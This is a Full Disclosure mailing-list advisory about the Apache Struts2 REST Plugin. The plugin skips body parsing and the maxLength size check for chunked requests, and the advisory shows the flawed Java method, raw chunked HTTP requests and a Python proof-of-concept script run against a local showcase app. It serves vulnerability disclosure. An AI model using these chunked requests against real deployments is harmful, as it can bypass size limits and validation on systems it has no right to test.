[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] Apache Struts2 REST Plugin Fails to Properly Parse Chunked Requests
- To: "fulldisclosure@xxxxxxxxxxxx" <fulldisclosure@xxxxxxxxxxxx>
- Subject: [FD] Apache Struts2 REST Plugin Fails to Properly Parse Chunked Requests
- From: Daniel Owens via Fulldisclosure <fulldisclosure@xxxxxxxxxxxx>
- Date: Thu, 29 Oct 2026 12:33:43 +0000
Description
The Apache Struts2 REST Plugin's (version 7.4.0 and below)
`ContentTypeInterceptor.intercept(ActionInvocation)` only deserialises a
request body and enforces the `struts.rest.content.maxLength` bound when
`HttpServletRequest#getContentLength()` returns a positive value.
`getContentLength()` returns `-1` whenever the `Content-Length` header is
absent, which normal and appropriate for any Hypertext Transfer Protocol (HTTP)
request sent with `Transfer-Encoding: chunked`, so the entire body-processing
branch -- including the bounded-reader size check -- is skipped for every such
request.
Impact
Any client that sends a chunked-encoded request body causes the action to be
invoked as though no body had been sent at all, with every body field silently
left unbound and no exception, warning, or rejection raised to either the
caller or the server logs. While a potentially minor or major detail, it is
important to note that because the interceptor fails to parse the request body,
the `struts.rest.content.maxLength` guard provides no protection whatsoever, as
the `BoundedReader` that enforces it sits inside the branch that chunked
requests never enter. An attacker can, as such, submit an arbitrarily large
chunked body without the configured size ceiling ever being consulted, and any
downstream logic that assumes a submitted field was bound --
default-initialisation checks, business validation keyed to a now-absent value,
and the like -- will silently fall back to whatever behaviour applies when the
field was never set. It is important to note that the downstream logic is
applica
tion-specific and that your application may do something terribly wrong or may
not depending on your specific code -- Apache's Struts2 REST Plugin merely
introduces the unexpected pathway -- and that interceptor ordering, additional
interceptors, etc., may cause the body to still be parsed and deserialised,
only that the Apache Struts2 REST Plugin will not take part in such activities,
which may further complicate the severity calculation (if, for example, data
flows through the REST Plugin and then into a custom JSON deserialiser via
another interceptor, the assumed "protections" of the REST Plugin would never
have taken place and the default path of your code may assume an INDEX or
similar request).
Examples
Sample Code
`intercept(ActionInvocation)` guards the entire body-deserialisation and
size-enforcement block on `request.getContentLength() > 0`, so a chunked
request -- for which `getContentLength()` legitimately returns `-1` -- falls
straight through to `invocation.invoke()` with the body never read.
```java
public String intercept(ActionInvocation invocation) throws Exception {
HttpServletRequest request = ServletActionContext.getRequest();
ContentTypeHandler handler = selector.getHandlerForRequest(request);
Object target = invocation.getAction();
if (target instanceof ModelDriven) {
target = ((ModelDriven<?>) target).getModel();
}
if (request.getContentLength() > 0) {
BoundedReader reader = new BoundedReader(openBodyReader(request),
maxLength);
try {
applyRequestBody(invocation, handler, target, reader);
} catch (Exception e) {
if (reader.limitExceeded()) {
throw requestBodyTooLarge();
}
throw e;
}
if (reader.limitExceeded()) {
throw requestBodyTooLarge();
}
}
return invocation.invoke();
}
```
Code snippet from `struts2-rest-plugin`'s
plugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java,
lines 114-138, with line 123's `if (request.getContentLength() > 0)` gating
both `applyRequestBody()` and every `BoundedReader`/`maxLength` check; nothing
in this method, or any upstream code, separately inspects `Transfer-Encoding`
and handles chunked encoding
Sample Dynamic Testing
The following was against the rest-showcase codebase, running Struts
7.5.0-SNAPSHOT, built on 28 October 2026. The first, an ordinary
`Content-Length`-bearing submission, correctly binds `clientName` and creates a
new order. The second, a byte-identical JavaScript Object Notation (JSON) body
sent with `Transfer-Encoding: chunked` and no `Content-Length` header, is never
bound onto the model at all -- `validate()` fires against `clientName`'s
untouched Java default and the action rejects the request with only the
ordinary field-validation error a caller would see for a genuinely empty
submission. Importantly, how the information system behaves is dependent on
the information system, itself, so while the rest-showcase example behaves as
such, yours may do something considerably worse.
```http
POST /rest-showcase/orders HTTP/1.1
Host: 127.0.0.1:8383
Content-Type: application/json
Accept: application/json
Content-Length: 47
{"clientName":"CalibrationNormal","amount":11}
```
Request -- an ordinary, `Content-Length`-bearing submission
```http
HTTP/1.1 201
Location: http://127.0.0.1:8383/rest-showcase/orders/6
```
Response -- `201`; the order is created with `clientName` correctly bound from
the submitted body
```http
POST /rest-showcase/orders HTTP/1.1
Host: 127.0.0.1:8383
Content-Type: application/json
Accept: application/json
Transfer-Encoding: chunked
2f\r
{"clientName":"CalibrationChunked","amount":22}\r
0\r
\r
```
Request -- the byte-identical JavaScript Object Notation (JSON) body, now sent
with `Transfer-Encoding: chunked` and without a `Content-Length` header
```http
HTTP/1.1 400
Content-Type: application/json;charset=UTF-8
{"actionErrors":[],"fieldErrors":{"clientName":["The client name is empty"]}}
```
Response -- `400`; `clientName` was never bound, so `validate()` rejects the
request as though an empty body had been submitted with no indication that the
chunked encoding itself was the cause; a subsequent `GET
/rest-showcase/orders.json` confirms that no order named `CalibrationChunked`
was ever created whilst the first request's `CalibrationNormal` order (`id: 6`)
is present
Steps to Reproduce
Run the following self-contained script against a running rest-showcase
deployment. It creates one order via an ordinary request, attempts to create a
second via a chunked request, confirms the chunked attempt was never bound, and
cleans up the one order it legitimately created, independently re-verifying the
cleanup succeeded.
```python
#!/usr/bin/env python3
"""Standalone reproduction for "`Content-Length` Guard Skips Chunked Request
Body Processing" against the struts2-rest-plugin's ContentTypeInterceptor,
exercised live through rest-showcase's OrdersController.
Requires `pip install requests`.
"""
import sys
import time
import requests
BASE_URL = "http://127.0.0.1:8383/rest-showcase"
def chunked_body(payload: bytes):
# A generator body forces requests/urllib3 to send Transfer-Encoding:
# chunked with no Content-Length header at all -- the standard
# mechanism several HTTP client libraries use for streamed bodies
yield payload
def list_order_ids() -> set:
response = requests.get(f"{BASE_URL}/orders.json", timeout=20)
response.raise_for_status()
return {order["id"] for order in response.json()}
def main() -> bool:
marker = str(int(time.time() * 1000))
normal_name = f"ChunkedGuardNormal-{marker}"
chunked_name = f"ChunkedGuardChunked-{marker}"
baseline_ids = list_order_ids()
print(f"baseline order ids: {sorted(baseline_ids)}")
# 1) Ordinary, Content-Length-bearing POST -- the control case
normal_body =
f'{{"clientName":"{normal_name}","amount":11}}'.encode("utf-8")
normal_response = requests.post(
f"{BASE_URL}/orders",
data=normal_body,
headers={"Content-Type": "application/json", "Accept":
"application/json"},
timeout=20,
)
print(f"normal POST -> HTTP {normal_response.status_code}, "
f"Location={normal_response.headers.get('Location')}")
after_normal_ids = list_order_ids()
created_ids = after_normal_ids - baseline_ids
normal_created = normal_response.status_code == 201 and len(created_ids) ==
1
if not normal_created:
print("FAIL: the control (Content-Length) request did not create an
order as expected")
return False
created_id = created_ids.pop()
print(f"control request created order {created_id} ({normal_name}) --
binding works normally")
# 2) Byte-identical JSON, sent via a generator body
chunked_payload =
f'{{"clientName":"{chunked_name}","amount":22}}'.encode("utf-8")
chunked_response = requests.post(
f"{BASE_URL}/orders",
data=chunked_body(chunked_payload),
headers={"Content-Type": "application/json", "Accept":
"application/json"},
timeout=20,
)
sent_headers = chunked_response.request.headers
print(f"chunked POST -> HTTP {chunked_response.status_code}")
print(f"outbound request headers:
Transfer-Encoding={sent_headers.get('Transfer-Encoding')}, "
f"Content-Length={sent_headers.get('Content-Length')}")
after_chunked_ids = list_order_ids()
chunked_created = len(after_chunked_ids - after_normal_ids) > 0
vulnerable = (
sent_headers.get("Transfer-Encoding") == "chunked"
and "Content-Length" not in sent_headers
and chunked_response.status_code == 400
and not chunked_created
)
if vulnerable:
print(f"VULNERABLE: the chunked request's body was never bound onto the
model -- "
f"OrdersController.validate() rejected it with HTTP
{chunked_response.status_code} "
f"({chunked_response.json()}), and no order named
{chunked_name!r} was ever created, "
f"even though the byte-identical body succeeded moments earlier
when sent with "
f"Content-Length instead.")
else:
print("did not reproduce")
# Cleanup: remove the one order this script legitimately created, then
# independently re-verify the cleanup actually took effect. The chunked
# request never created anything, so there is nothing to delete for it
delete_response = requests.delete(f"{BASE_URL}/orders/{created_id}",
timeout=20)
print(f"cleanup: DELETE /orders/{created_id} -> HTTP
{delete_response.status_code}")
final_ids = list_order_ids()
if created_id in final_ids:
print(f"WARNING: cleanup did not remove order {created_id}; remove it
manually")
else:
print(f"cleanup verified: order {created_id} no longer present (back to
baseline)")
return vulnerable
if __name__ == "__main__":
sys.exit(0 if main() else 1)
```
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/